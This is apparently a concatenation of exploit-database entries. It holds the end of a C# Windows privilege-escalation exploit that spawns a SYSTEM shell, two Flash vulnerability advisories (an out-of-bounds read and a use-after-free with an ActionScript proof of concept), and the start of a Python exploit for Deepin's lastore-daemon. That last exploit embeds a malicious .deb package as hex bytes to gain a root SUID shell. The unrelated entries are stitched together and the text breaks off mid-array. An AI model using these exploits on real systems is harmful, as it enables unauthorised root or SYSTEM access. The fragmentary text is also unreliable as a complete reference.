var addConnectionResult = WNetAddConnection2(new NETRESOURCE { lpRemoteName = $@"\\127.0.0.1@{p}\folder\" }, null, null, 0);
Console.WriteLine("[*] WNetAddConnection2 = " + addConnectionResult);
var fileHandle = CreateFile($@"\\127.0.0.1@{p}\folder\file", 0x80, 7, IntPtr.Zero, 3, 0, IntPtr.Zero);
Console.WriteLine($"[*] CreateFile result = {fileHandle}");
IoStatusBlock ioStatusBlock;
var inputLen = 24;
var inputPtr = Marshal.AllocHGlobal(inputLen);
var outputLen = 4;
var outputPtr = Marshal.AllocHGlobal(outputLen);
var controlResult = NtFsControlFile(fileHandle, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, out ioStatusBlock, 0x900DBu, inputPtr, (uint)inputLen, outputPtr, (uint)outputLen);
Console.WriteLine($"[*] NtFsControlFile result = {controlResult}");
var identity = WindowsIdentity.GetCurrent();
if (identity?.IsSystem == true)
{
Console.WriteLine("[+] Got SYSTEM! Spawning a shell...");
Process.Start("cmd");
}
else
Console.WriteLine($"[-] Something went wrong, looks like we are not SYSTEM :(, only {identity?.Name}...");
}
Console.WriteLine("");
Console.WriteLine("Press ENTER to exit.");
Console.ReadLine();
}
}
}
Source: https://code.google.com/p/google-security-research/issues/detail?id=632
There is an out-of-bounds read in H264 parsing, a fuzzed file is attached. To load, load LoadMP4.swf with the URL parameter file=compute_poc.flv from a remote server.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39464.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=667
There is a use-after-free in LoadVars.decode. If a watch is set on the object that the parameters are being decoded into, and the watch deletes the object, then other methods are called on the deleted object after it is freed. A PoC is as follows:
var lv = new LoadVars();
var f = lv.decode;
var tf = this.createTextField("tf",1, 2, 3, 4, 5);
tf.natalie = "not test";
tf.watch("natalie", func);
f.call(tf, "natalie=test&bob=1");
trace(tf.natalie);
function func(){
trace("here");
tf.removeTextField();
return "test";
}
A sample swf and fla are attached. This issue was reproduced in Chrome on 64-bit Ubuntu.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39463.zip
#!/usr/bin/env python
# encoding=utf8
# Exploit Title: Lastore-daemon in Deepin 15 results in privilege escalation
# Date: 20160208
# Exploit Author: King's Way <root#kings-way.info>
# Vendor Homepage: http://www.deepin.org
# Software Link: http://cdimage.linuxdeepin.com/releases/15.1/deepin-15.1-amd64.iso
# Version: Deepin 15 & 15.01
# Tested on: Deepin 15 & 15.01
# CVE : null
# privilege escalation POC for deepin 15 & 15.1 with lastore-daemon.
# Vulnerability Description:
# In Deepin Linux 15.1, they designed a daemon (called lastore-daemon) based
# on dbus and apt to support deepin-appstore.
# Lastore-daemon runs with root privilege to run apt-get commands and listens
# to dbus message from every user.
# So, we can send the package name along with some options to lastore-daemon
# to install or remove any package, even to destroy the host system.
#
# Apart from that, if we prepare a malicious package and try to cheat lastore
# -daemon into installing it, then anyone can have root privilege.
import os
import dbus
import time
def create_deb(deb_file_path):
# Okay, we have to build a package which will give us a shell with SUID bit.
# Things below are hex data of my package. Of course, you can make your own version if you like.
deb_data = [
'0x21', '0x3c', '0x61', '0x72', '0x63', '0x68', '0x3e', '0xa', '0x64', '0x65', '0x62', '0x69', '0x61', '0x6e', '0x2d', '0x62', '0x69', '0x6e', '0x61', '0x72',
'0x79', '0x20', '0x20', '0x20', '0x31', '0x34', '0x35', '0x34', '0x31', '0x34', '0x34', '0x38', '0x31', '0x34', '0x20', '0x20', '0x30', '0x20', '0x20', '0x20',
'0x20', '0x20', '0x30', '0x20', '0x20', '0x20', '0x20', '0x20', '0x31', '0x30', '0x30', '0x36', '0x34', '0x34', '0x20', '0x20', '0x34', '0x20', '0x20', '0x20',
'0x20', '0x20', '0x20', '0x20', '0x20', '0x20', '0x60', '0xa', '0x32', '0x2e', '0x30', '0xa', '0x63', '0x6f', '0x6e', '0x74', '0x72', '0x6f', '0x6c', '0x2e',
'0x74', '0x61', '0x72', '0x2e', '0x67', '0x7a', '0x20', '0x20', '0x31', '0x34', '0x35', '0x34', '0x31', '0x34', '0x34', '0x38', '0x31', '0x34', '0x20', '0x20',
'0x30', '0x20', '0x20', '0x20', '0x20', '0x20', '0x30', '0x20', '0x20', '0x20', '0x20', '0x20', '0x31', '0x30', '0x30', '0x36', '0x34', '0x34', '0x20', '0x20',
'0x33', '0x38', '0x31', '0x20', '0x20', '0x20', '0x20', '0x20', '0x20', '0x20', '0x60', '0xa', '0x1f', '0x8b', '0x8', '0x0', '0x0', '0x0', '0x0', '0x0',
'0x2', '0x3', '0xed', '0xd5', '0x41', '0x6b', '0xdb', '0x30', '0x18', '0x6', '0x60', '0x9f', '0xfd', '0x2b', '0x3e', '0xe8', '0x61', '0xa7', '0x3a', '0xb2',
'0x24', '0xdb', '0x2c', '0x94', '0xb1', '0x91', '0xde', '0xc6', '0x58', '0xa0', '0xb0', '0x9d', '0x15', '0x59', '0x4e', '0x44', '0x1c', '0x2b', '0x48', '0x72',
'0x43', '0xfe', '0xfd', '0xe4', '0x6c', '0x85', '0x30', '0x58', '0x7b', '0x4a', '0xca', '0xc2', '0xfb', '0x80', '0x91', '0xf8', '0x2c', '0x1b', '0xe1', '0x8f',
'0x57', '0x2e', '0x66', '0xd9', '0xc5', '0xb1', '0xa4', '0xa9', '0xaa', '0xd3', '0x98', '0xfc', '0x3d', '0x9e', '0xe6', '0x25', '0xaf', '0x2b', '0xc1', '0x9a',
'0x5a', '0x72', '0x99', '0xea', '0x4d', '0xc3', '0x79', '0x46', '0x55', '0x76', '0x5', '0x63', '0x88', '0xca', '0x13', '0x65', '0xde', '0xb9', '0xf8', '0xda',
'0xba', '0xb7', '0xee', '0xff', '0xa7', '0x8a', '0xd9', '0xae', '0xad', '0xc2', '0xb8', '0xb', '0x17', '0xee', '0x7f', '0x2d', '0xe5', '0xbf', '0xfb', '0x5f',
'0x57', '0x2f', '0xfd', '0x67', '0x65', '0x9d', '0xea', '0x65', '0xc9', '0x45', '0xea', '0x3f', '0x43', '0xff', '0x2f', '0xae', '0x6b', '0x2a', '0x2d', '0x57',
'0xad', '0x96', '0xb5', '0xe6', '0x82', '0xa5', '0x49', '0xc7', '0x65', '0xa3', '0x85', '0x16', '0xec', '0xa3', '0x62', '0x8d', '0x36', '0x44', '0x63', '0xf0',
'0xb3', '0x95', '0x1d', '0x66', '0xad', '0x31', '0x7b', '0x3b', '0x6c', '0x94', '0xde', '0xe6', '0x19', '0xdc', '0x4e', '0xfe', '0xb5', '0x1b', '0xa2', '0x77',
'0xfd', '0x3b', '0xe6', '0x5f', '0xd4', '0x67', '0xe7', '0x7f', '0x29', '0xa7', '0xfc', '0xb', '0x2e', '0x90', '0xff', '0x6b', '0x58', '0xa6', '0x3c', '0xab',
'0xb5', '0x99', '0xd3', '0x59', '0xbc', '0x7f', '0x18', '0x1f', '0xac', '0x1b', '0xe6', '0xc4', '0xa', '0x56', '0x94', '0xf9', '0x17', '0xaf', '0x37', '0x36',
'0x1a', '0x1d', '0x47', '0x9f', '0xd6', '0xa9', '0x5d', '0x5b', '0xcb', '0xfc', '0x9b', '0xb2', '0x43', '0x4c', '0x97', '0xf1', '0x73', '0xfa', '0x6a', '0x87',
'0xf5', '0x87', '0x40', '0x3f', '0xd5', '0x91', '0x1e', '0xa6', '0xaf', '0x74', '0xb7', '0x4d', '0x85', '0x70', '0x7f', '0x50', '0xc7', '0xc2', '0xe', '0x9d',
'0xfb', '0x94', '0x3f', '0xa5', '0x67', '0x4f', '0xef', '0x1b', '0xa3', '0xed', '0x43', '0xbe', '0xf4', '0xd6', '0x79', '0x1b', '0x8f', '0x73', '0x72', '0xfb',
'0xa9', '0xae', '0xfa', '0xfc', '0xd1', '0x4', '0xed', '0xed', '0xfe', '0xf7', '0xaa', '0xbd', '0xb7', '0xcf', '0xb6', '0x37', '0x6b', '0x43', '0xa9', '0xaa',
'0x7a', '0x35', '0x55', '0x69', '0xf9', '0x7d', '0x41', '0x9d', '0xf3', '0x7f', '0xb6', '0x49', '0x65', '0x45', '0x7', '0x1b', '0x37', '0xd4', '0xab', '0x10',
'0x9d', '0x37', '0xf7', '0xad', '0x32', '0x3b', '0x37', '0x14', '0xb4', '0xf0', '0x46', '0x45', '0xd3', '0xd2', '0xea', '0x78', '0xbe', '0xad', '0xcf', '0xc4',
'0xa7', '0x1f', '0x4b', '0x29', '0x18', '0x8e', '0x2e', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0',
'0x0', '0xb8', '0x49', '0xbf', '0x0', '0x93', '0xc6', '0x6e', '0x6c', '0x0', '0x28', '0x0', '0x0', '0xa', '0x64', '0x61', '0x74', '0x61', '0x2e', '0x74',
'0x61', '0x72', '0x2e', '0x78', '0x7a', '0x20', '0x20', '0x20', '0x20', '0x20', '0x31', '0x34', '0x35', '0x34', '0x31', '0x34', '0x34', '0x38', '0x31', '0x34',
'0x20', '0x20', '0x30', '0x20', '0x20', '0x20', '0x20', '0x20', '0x30', '0x20', '0x20', '0x20', '0x20', '0x20', '0x31', '0x30', '0x30', '0x36', '0x34', '0x34',
'0x20', '0x20', '0x35', '0x30', '0x35', '0x34', '0x38', '0x20', '0x20', '0x20', '0x20', '0x20', '0x60', '0xa', '0xfd', '0x37', '0x7a', '0x58', '0x5a', '0x0',
'0x0', '0x4', '0xe6', '0xd6', '0xb4', '0x46', '0x2', '0x0', '0x21', '0x1', '0x16', '0x0', '0x0', '0x0', '0x74', '0x2f', '0xe5', '0xa3', '0xe2', '0x7',
'0xff', '0xc5', '0x33', '0x5d', '0x0', '0x17', '0xb', '0xbc', '0x1c', '0x7d', '0x1', '0x95', '0xc0', '0x1d', '0x4a', '0x3e', '0x79', '0x15', '0xc2', '0xcc',
'0x26', '0xa3', '0x54', '0x6b', '0x8d', '0x0', '0xb8', '0xd7', '0x25', '0xf8', '0xa2', '0x25', '0x39', '0x46', '0x8a', '0x3e', '0x68', '0x3f', '0x56', '0xad',
'0xa2', '0xeb', '0x26', '0xb4', '0xc4', '0xa8', '0xcc', '0x33', '0xd5', '0x89', '0xd6', '0x26', '0xbe', '0x9a', '0xd9', '0x13', '0xaf', '0x1c', '0x90', '0x41',
'0x52', '0x8f', '0x14', '0xde', '0x25', '0xcd', '0x2b', '0x9c', '0x24', '0xd4', '0xb3', '0x4d', '0x92', '0x7d', '0xa7', '0x75', '0x5f', '0xd7', '0xa2', '0x5e',
'0x2c', '0xdf', '0x5d', '0xf0', '0x6e', '0x60', '0xdb', '0x33', '0xc4', '0xc9', '0x41', '0x2e', '0x9d', '0x7', '0x1c', '0x2f', '0x7d', '0xdc', '0xa', '0x8e',
'0xfe', '0x4a', '0xc9', '0xce', '0xbc', '0x28', '0x38', '0x95', '0xa7', '0x9', '0x75', '0x10', '0xd6', '0xad', '0x73', '0xc5', '0x1d', '0x29', '0x40', '0x6d',
'0xfd', '0x62', '0x31', '0xbe', '0x89', '0x48', '0x9a', '0x89', '0x3e', '0x6', '0xd7', '0xd8', '0x47', '0x69', '0x70', '0x7f', '0x63', '0x1f', '0x16', '0x6',
'0x13', '0xf0', '0x1b', '0xd3', '0x49', '0x4b', '0x3f', '0x9c', '0xa0', '0xbe', '0x54', '0x5d', '0x79', '0x7d', '0xa0', '0xd6', '0x74', '0x12', '0x6f', '0x7c',
'0x37', '0x21', '0xdd', '0xe3', '0x60', '0x83', '0xe8', '0xe7', '0x22', '0x9c', '0x89', '0x57', '0xb0', '0xe7', '0xa2', '0xa', '0xcd', '0x3d', '0xd1', '0xcd',
'0xd4', '0x62', '0xe2', '0x4f', '0xa9', '0x4a', '0xc5', '0xba', '0x69', '0x11', '0x1', '0xdb', '0xf', '0xbb', '0xd3', '0x70', '0xfb', '0x6e', '0x2a', '0xb4',
'0xf', '0xff', '0x37', '0x3e', '0xe7', '0xf0', '0x6d', '0xca', '0xb9', '0x2', '0x62', '0xaa', '0x70', '0x88', '0x30', '0xe3', '0xbe', '0x60', '0x3d', '0x1f',
'0xc3', '0x64', '0x33', '0x63', '0xb8', '0x36', '0x2f', '0x19', '0x46', '0x9f', '0xb8', '0xf2', '0x19', '0xe8', '0x5f', '0xd8', '0x7a', '0x4', '0x58', '0x58',
'0x67', '0x1b', '0xc5', '0xc2', '0xd5', '0x3f', '0x66', '0xd3', '0xb2', '0xa7', '0x58', '0xcf', '0xcf', '0xc2', '0xc7', '0x57', '0xe4', '0x35', '0x5f', '0x7e',
'0x37', '0x56', '0x2c', '0x5c', '0x5e', '0x76', '0x17', '0x2', '0x6c', '0x86', '0x6f', '0xd8', '0x8a', '0x7c', '0x42', '0xaf', '0xfa', '0x19', '0xda', '0x50',
'0x25', '0xe0', '0xcb', '0x58', '0xda', '0x11', '0x59', '0x5d', '0xab', '0x10', '0xc6', '0x5b', '0x7e', '0x46', '0xe7', '0xb8', '0x32', '0xba', '0x51', '0x14',
'0xf9', '0xdd', '0x49', '0x92', '0x95', '0x3c', '0x20', '0x1e', '0x4', '0xca', '0x84', '0x55', '0xfc', '0xa6', '0x4c', '0xa9', '0x76', '0x32', '0xf7', '0xfb',
'0xd5', '0xc', '0xa1', '0xca', '0x66', '0xa8', '0x4', '0xc8', '0x6e', '0xae', '0xbf', '0xf7', '0x57', '0x4e', '0x29', '0x57', '0x90', '0x7b', '0xd7', '0x4b',
'0x2d', '0xd3', '0xb3', '0xfb', '0xcf', '0x8f', '0xd5', '0x2', '0xaa', '0xfb', '0xdd', '0xa2', '0x98', '0xb', '0x60', '0xeb', '0xfa', '0x7', '0xd5', '0xb6',
'0x3', '0xa1', '0x21', '0x7f', '0x63', '0x7c', '0x9c', '0x1c', '0x5', '0xa2', '0x82', '0x5', '0x3b', '0x98', '0xde', '0xcf', '0x6c', '0x7', '0xac', '0xf0',
'0x62', '0x37', '0xcb', '0x18', '0x6b', '0xf', '0x4f', '0x89', '0x4d', '0x4e', '0x7e', '0xcd', '0x8', '0x6d', '0xc2', '0x4', '0xeb', '0x46', '0x43', '0xd2',
'0x2a', '0xe9', '0x39', '0xb2', '0x4d', '0xcf', '0xd2', '0xdf', '0x6b', '0xac', '0xaf', '0x6a', '0x14', '0x30', '0x70', '0xe9', '0xed', '0xed', '0x62', '0x29',
'0xf7', '0x4f', '0x24', '0x8a', '0xe5', '0x7e', '0xee', '0xec', '0x91', '0x7', '0x97', '0x87', '0x75', '0xe7', '0xf8', '0xcb', '0x78', '0xb3', '0xc4', '0x8',
'0x59', '0x6d', '0xd9', '0xad', '0x4', '0x42', '0x2b', '0xe9', '0x25', '0xb4', '0xca', '0x3', '0x8c', '0x32', '0x6f', '0x3b', '0xce', '0x1a', '0xc0', '0x56',
'0x52', '0xbc', '0x37', '0xab', '0x7e', '0x6c', '0x89', '0x9a', '0x78', '0xe1', '0xdc', '0x3b', '0x11', '0x9e', '0xad', '0x5b', '0x16', '0x90', '0x28', '0xed',
'0xb8', '0xf8', '0x4d', '0x90', '0xfb', '0xe9', '0x3a', '0x27', '0x7d', '0x93', '0x8e', '0xa3', '0xa6', '0xc4', '0xac', '0xe3', '0xc2', '0x95', '0x11', '0x5',
'0x75', '0xb8', '0x85', '0xdb', '0x7e', '0x7f', '0x68', '0x19', '0x79', '0xdd', '0x5a', '0x28', '0xb2', '0x38', '0xa9', '0x8b', '0x54', '0x10', '0xa2', '0x9c',
'0x87', '0x70', '0xdc', '0xe8', '0x87', '0x1c', '0x2f', '0xd8', '0xa9', '0xa2', '0x5e', '0xf3', '0x71', '0x1f', '0x44', '0x9a', '0xb8', '0x27', '0xf4', '0x12',
'0x11', '0x63', '0x60', '0x44', '0xd6', '0xe', '0xdb', '0x2a', '0xdb', '0xb0', '0x1', '0xaa', '0x7', '0x1f', '0xc6', '0x6', '0x64', '0xc3', '0xc', '0x21',
'0x19', '0x3e', '0x23', '0xc6', '0x11', '0xd2', '0x97', '0x26', '0x3', '0x8e', '0x4c', '0x27', '0x3b', '0xb5', '0x93', '0x5e', '0xc4', '0x61', '0x4f', '0x68',
'0xd5', '0xbd', '0x20', '0xc', '0x32', '0xc6', '0x96', '0xa8', '0x51', '0x89', '0x7b', '0x70', '0xfa', '0x49', '0xbf', '0x1f', '0xcd', '0xec', '0xf3', '0xa1',
'0x7d', '0x7e', '0x3f', '0xb7', '0x2e', '0x59', '0x61', '0x92', '0xf9', '0x4b', '0x31', '0x15', '0x98', '0xf7', '0x4', '0x51', '0xf0', '0x76', '0x19', '0x3e',
'0x7a', '0x8a', '0x79', '0xa7', '0xa7', '0x7b', '0x8', '0xfe', '0x27', '0xb7', '0x23', '0x50', '0xba', '0xae', '0x4d', '0x6c', '0x2e', '0x5d', '0x7f', '0x34',
'0xb4', '0xb0', '0xf1', '0xaa', '0xdd', '0x90', '0x1', '0x69', '0x90', '0x13', '0x14', '0x6b', '0xe4', '0x82', '0xc6', '0x18', '0xe', '0x5', '0x5a', '0xbb',
'0x8d', '0x21', '0x78', '0x46', '0xce', '0xb2', '0x82', '0xa0', '0xf1', '0xe9', '0xe4', '0x95', '0xdd', '0xc4', '0x7b', '0x5a', '0x1d', '0x46', '0x50', '0xc0',
'0xe3', '0xd8', '0x7a', '0xd6', '0x55', '0xa7', '0x5b', '0xea', '0x48', '0x5d', '0x7a', '0xbd', '0x90', '0xdd', '0xeb', '0x6a', '0x78', '0x3a', '0x6c', '0x81',
'0xb8', '0xf0', '0x74', '0x34', '0x7d', '0x8c', '0xeb', '0x5e', '0x5f', '0x8c', '0xf4', '0xb6', '0xcf', '0x30', '0x58', '0xac', '0xd4', '0x45', '0x6f', '0x48',
'0x6c', '0x59', '0x88', '0xbc', '0x94', '0x62', '0x8a', '0xd0', '0xd4', '0x4', '0xf0', '0x27', '0x56', '0x98', '0x30', '0x67', '0x25', '0xc3', '0x54', '0x75',
'0xc3', '0x5e', '0x47', '0x3f', '0x86', '0x82', '0x25', '0xe1', '0x55', '0x2a', '0x8f', '0x98', '0x1a', '0x77', '0xda', '0x9f', '0x8', '0x51', '0xe7', '0x47',
'0xd', '0x49', '0xe6', '0xc9', '0xf', '0x22', '0xaf', '0xe4', '0xc', '0xfe', '0x99', '0x6c', '0x39', '0x11', '0x6c', '0xd5', '0x5f', '0x66', '0x4a', '0x1f',
'0x63', '0x70', '0x7c', '0x10', '0x34', '0xeb', '0xc0', '0x31', '0x16', '0x7a', '0xb5', '0x15', '0x72', '0xc6', '0x71', '0xbe', '0xd5', '0x42', '0x6c', '0xb1',
'0xa', '0x29', '0xb6', '0x92', '0xdc', '0x5', '0x6b', '0x92', '0xfa', '0xcd', '0x89', '0x69', '0xb6', '0xcf', '0x80', '0x9f', '0x8e', '0x7d', '0x6d', '0xcb',
'0x18', '0x7f', '0xc7', '0xa', '0xb8', '0x42', '0x7c', '0x64', '0x3f', '0x72', '0x81', '0xb4', '0x9', '0x21', '0xba', '0x1e', '0x7d', '0x5e', '0xfc', '0x91',
'0x21', '0xaa', '0xa0', '0x62', '0x95', '0xb6', '0x99', '0xb', '0x32', '0x8c', '0x21', '0x36', '0xfd', '0xf7', '0xde', '0x29', '0x2e', '0x33', '0xf5', '0x2b',
'0x23', '0x3b', '0xfa', '0x8', '0xc4', '0xae', '0x5a', '0xbc', '0x60', '0x74', '0x60', '0x5d', '0xd6', '0xd4', '0x93', '0xd8', '0xed', '0x94', '0x24', '0x1c',
'0x5', '0x9f', '0x62', '0xd0', '0x9a', '0x61', '0x6c', '0x25', '0x54', '0x44', '0x11', '0x3b', '0x1', '0xd6', '0x39', '0x72', '0x24', '0x64', '0x81', '0x98',
'0xc', '0x84', '0x8e', '0x2e', '0xdc', '0x3d', '0x69', '0x6d', '0x6a', '0xff', '0xa4', '0x49', '0x0', '0xc7', '0xf1', '0xad', '0xd5', '0x65', '0xb', '0x60',
'0x10', '0x16', '0x83', '0x76', '0xdc', '0xca', '0x1f', '0x2a', '0x18', '0x85', '0x43', '0x4e', '0xf2', '0x2c', '0x31', '0xb4', '0x4d', '0xed', '0x3c', '0xac',
'0x9', '0x76', '0x7f', '0xe4', '0x9a', '0xe3', '0x6', '0x61', '0x3', '0x5b', '0xe7', '0x74', '0x81', '0x82', '0x19', '0xdf', '0x12', '0x0', '0xcb', '0x28',
'0x33', '0x21', '0x9e', '0xc9', '0xdf', '0xc7', '0xb5', '0x54', '0x42', '0xf9', '0x9b', '0xdb', '0x1f', '0x54', '0x83', '0xaf', '0x90', '0xe6', '0x18', '0x8a',
'0x69', '0x92', '0xbf', '0x6f', '0x9f', '0x36', '0x8f', '0x7c', '0xdc', '0x78', '0xce', '0xb8', '0xee', '0x63', '0x1b', '0x40', '0x73', '0x5f', '0xaf', '0xa6',
'0xb0', '0xbc', '0x33', '0x88', '0x2', '0x64', '0x47', '0x2f', '0xd4', '0xaf', '0xf2', '0x14', '0x92', '0x3', '0xd4', '0x5e', '0xf7', '0x2', '0xa1', '0x10',
'0xbf', '0x2b', '0xf9', '0xad', '0x3', '0xaf', '0x9', '0x96', '0x20', '0x4a', '0x3b', '0x37', '0x17', '0xcf', '0xa4', '0x96', '0x1d', '0x91', '0x37', '0x96',
'0x1', '0xde', '0x60', '0x42', '0x6', '0xf', '0x5b', '0xaf', '0x5f', '0x7a', '0xa', '0x4c', '0x32', '0x80', '0x3a', '0xc8', '0x17', '0x96', '0x17', '0xd',
'0x5a', '0xb3', '0x13', '0xd7', '0x98', '0x45', '0x39', '0xa8', '0x36', '0x39', '0x1b', '0xb8', '0xd0', '0xc6', '0xb6', '0x29', '0x4f', '0xc3', '0x7e', '0x16',
'0x4b', '0x37', '0xc0', '0xfd', '0xef', '0xdf', '0xf8', '0xf2', '0x82', '0xab', '0xb1', '0xa6', '0x3', '0x14', '0x30', '0x8', '0x82', '0xb', '0xac', '0x83',
'0xb3', '0x67', '0x4f', '0xb', '0x9b', '0x23', '0x6e', '0x26', '0x4f', '0xb7', '0x61', '0x64', '0xf0', '0x2b', '0x6d', '0x43', '0xf2', '0x93', '0xf7', '0xf2',
'0x30', '0x99', '0xfb', '0xba', '0xf3', '0xda', '0x58', '0xb6', '0x6a', '0x94', '0x25', '0x80', '0xb', '0xeb', '0x6e', '0x17', '0x59', '0x46', '0x7d', '0xe4',
'0x8d', '0xa3', '0x12', '0x8e', '0x51', '0x8d', '0xec', '0x18', '0x43', '0x3c', '0x77', '0x69', '0xb5', '0xc8', '0x48', '0x3a', '0xbd', '0xe7', '0x2a', '0x5',
'0x3c', '0x26', '0x73', '0xf', '0x61', '0x95', '0x4a', '0x7b', '0x28', '0x2b', '0x40', '0x11', '0xf7', '0xb7', '0x3e', '0x88', '0x17', '0xfc', '0x18', '0x87',
'0x85', '0x3', '0xc0', '0x8', '0x5c', '0x94', '0xc9', '0xf5', '0xe4', '0x1a', '0xd1', '0xfa', '0x3c', '0x12', '0x44', '0x21', '0x62', '0x1c', '0x2d', '0xeb',
'0x1b', '0xba', '0x81', '0xe5', '0x55', '0x78', '0xa8', '0xb5', '0x8e', '0xa9', '0x6', '0x50', '0x4b', '0xe9', '0x2f', '0x7e', '0x29', '0xf3', '0x84', '0xe3',
'0x9e', '0xf2', '0xbf', '0x15', '0x62', '0x63', '0x6e', '0x23', '0x9d', '0x62', '0x26', '0xc7', '0xa4', '0x0', '0x39', '0xde', '0x7e', '0x41', '0x7b', '0x4b',
'0x89', '0x80', '0x8e', '0x5a', '0x9e', '0x55', '0x6f', '0xe8', '0xa4', '0x19', '0x9e', '0x76', '0x7e', '0xa4', '0xe', '0x7b', '0xa7', '0x78', '0x5d', '0x89',
'0x52', '0x16', '0xc', '0x7', '0x6', '0x8e', '0xf8', '0xd7', '0x85', '0x1a', '0xdd', '0x39', '0x22', '0x71', '0xa1', '0x43', '0xaa', '0x5a', '0x78', '0xdc',
'0xa', '0xfb', '0x13', '0x9f', '0x7c', '0x51', '0x26', '0x26', '0xeb', '0x24', '0x8b', '0x3b', '0x45', '0x8f', '0x8e', '0x60', '0xb9', '0x7a', '0xf', '0x31',
'0x3d', '0x31', '0x36', '0xf2', '0x72', '0x8c', '0x25', '0x9d', '0x79', '0xe4', '0x4f', '0x4a', '0x80', '0x18', '0x8b', '0x37', '0xc0', '0x1', '0xa1', '0x8b',
'0xe4', '0x61', '0x3d', '0x2f', '0xee', '0xcc', '0x87', '0xf4', '0x26', '0xa9', '0xc6', '0x6f', '0xf9', '0x37', '0xe', '0x27', '0x9f', '0xfe', '0x86', '0xc',
'0xdb', '0xe8', '0x71', '0x53', '0xa5', '0xb7', '0x8b', '0xc8', '0x52', '0x24', '0x50', '0x77', '0xe', '0xaa', '0x67', '0xa4', '0xea', '0xa4', '0xa5', '0x84',
'0x63', '0xaa', '0xe', '0xca', '0xce', '0x4c', '0xbc', '0x1e', '0xea', '0x32', '0xac', '0xd6', '0x13', '0xa0', '0x9e', '0x90', '0x20', '0x56', '0x20', '0x3c',
'0x1f', '0xbf', '0x3f', '0x9f', '0xa0', '0x5c', '0x6d', '0x4b', '0x4b', '0x7', '0xed', '0x3e', '0xef', '0x2a', '0x1d', '0x9d', '0xe4', '0x50', '0x4', '0xb1',
'0xf7', '0x64', '0xfb', '0xe', '0xbe', '0x0', '0x4d', '0x9a', '0xe2', '0x20', '0x2b', '0xb0', '0xa3', '0x21', '0xae', '0xac', '0x82', '0x98', '0x26', '0xa0',
'0x6c', '0x89', '0x21', '0x8f', '0xea', '0x2b', '0x47', '0xd8', '0xa7', '0x4c', '0x57', '0x92', '0x2b', '0x9', '0x1f', '0x49', '0xba', '0x75', '0xdc', '0x64',
'0xa5', '0xc', '0x3', '0xd5', '0x5e', '0x80', '0xcc', '0x91', '0x72', '0x39', '0xc1', '0xc4', '0xc4', '0x61', '0xab', '0x31', '0xad', '0x5e', '0xcf', '0x88',
'0xa7', '0x69', '0xd', '0xb6', '0xec', '0x4b', '0x49', '0xa4', '0x35', '0x29', '0x5e', '0x8', '0xb4', '0xd8', '0x62', '0xbd', '0x48', '0x2b', '0x83', '0xa1',
'0x48', '0x2e', '0xed', '0x8a', '0x8f', '0x69', '0xee', '0x8d', '0x98', '0x8d', '0xd8', '0x4f', '0xa9', '0x27', '0x7f', '0x17', '0x73', '0xd4', '0x84', '0x36',
'0x80', '0xde', '0xeb', '0x38', '0x82', '0x51', '0xcd', '0x8d', '0xe1', '0x40', '0xa4', '0xac', '0x20', '0x5', '0x2d', '0x59', '0x30', '0x60', '0x2c', '0x5d',
'0x1f', '0xb8', '0xd0', '0x2b', '0xe2', '0xa2', '0x52', '0xd0', '0xa9', '0xa3', '0x8a', '0xbb', '0xb0', '0x6c', '0x10', '0xba', '0x49', '0xa9', '0x83', '0xc1',
'0x7f', '0x98', '0xcd', '0xf4', '0x78', '0x7c', '0xa5', '0xc4', '0xb6', '0x24', '0x1a', '0x41', '0x74', '0xed', '0x16', '0x5e', '0xfd', '0xca', '0xd6', '0x93',
'0x6e', '0x8e', '0xcd', '0x5c', '0x43', '0x99', '0x1b', '0xe8', '0x7a', '0xd5', '0x5c', '0xdb', '0x2', '0x60', '0x65', '0xce', '0x4c', '0xef', '0x86', '0xe5',
'0xd3', '0x9b', '0xb', '0x18', '0xb', '0xe8', '0xf2', '0xae', '0x9b', '0xd', '0x5', '0xd4', '0xe6', '0x6e', '0xb7', '0x25', '0x8c', '0xc2', '0xfa', '0xd6',
'0x6c', '0xd7', '0x82', '0x74', '0x5c', '0xd2', '0x2b', '0xc5', '0xde', '0x11', '0x3', '0xa6', '0xbf', '0xd9', '0xbf', '0x6f', '0xea', '0x8a', '0x20', '0xfe',
'0x2a', '0xe4', '0x4e', '0x8b', '0x97', '0x4', '0xcd', '0xfd', '0x8d', '0x0', '0x9e', '0xff', '0xac', '0xb1', '0x12', '0x99', '0x93', '0xe9', '0xfc', '0x71',
'0x9b', '0x40', '0x48', '0x67', '0xe8', '0xdc', '0xdc', '0x9', '0x40', '0xed', '0x51', '0xd9', '0xf8', '0x27', '0x47', '0x3', '0x94', '0xd7', '0x23', '0x53',
'0x55', '0x79', '0x2e', '0x39', '0x8e', '0x43', '0xc2', '0x6d', '0x9b', '0xe0', '0x5', '0xbb', '0x8', '0x72', '0x6', '0x83', '0xa1', '0x8', '0x4e', '0xc9',
'0x20', '0x2d', '0xde', '0x5d', '0x85', '0x30', '0x77', '0xd3', '0x5c', '0x48', '0x1f', '0x64', '0x8d', '0x9e', '0xce', '0x97', '0x3b', '0x54', '0xd9', '0x59',
'0xea', '0x46', '0xe2', '0x2a', '0xdb', '0x11', '0x9a', '0x60', '0x10', '0xb7', '0x7b', '0x6d', '0xf0', '0x9f', '0x29', '0x6', '0x79', '0x4a', '0x84', '0x96',
'0x70', '0x1d', '0x95', '0xb0', '0xa9', '0x16', '0xc5', '0x16', '0x9a', '0xb5', '0x7e', '0x34', '0xd2', '0x46', '0x4b', '0x55', '0xa2', '0xf1', '0x36', '0x6c',
'0x55', '0xda', '0xb', '0xaa', '0xa0', '0x8', '0x8c', '0x1d', '0x3', '0xda', '0x70', '0xc8', '0xc6', '0xd8', '0xaa', '0xb7', '0xe9', '0xe1', '0x73', '0xe6',
'0x94', '0x82', '0x8', '0x72', '0x67', '0xed', '0xd', '0x5c', '0xfa', '0xc9', '0x10', '0x91', '0x19', '0x63', '0x45', '0x20', '0xf2', '0x74', '0x41', '0xfa',
'0x67', '0xee', '0xb6', '0xd4', '0xa8', '0x6e', '0x53', '0x56', '0xc6', '0xef', '0x97', '0x16', '0xda', '0xe1', '0x17', '0x39', '0x49', '0x8f', '0xdc', '0xa6',
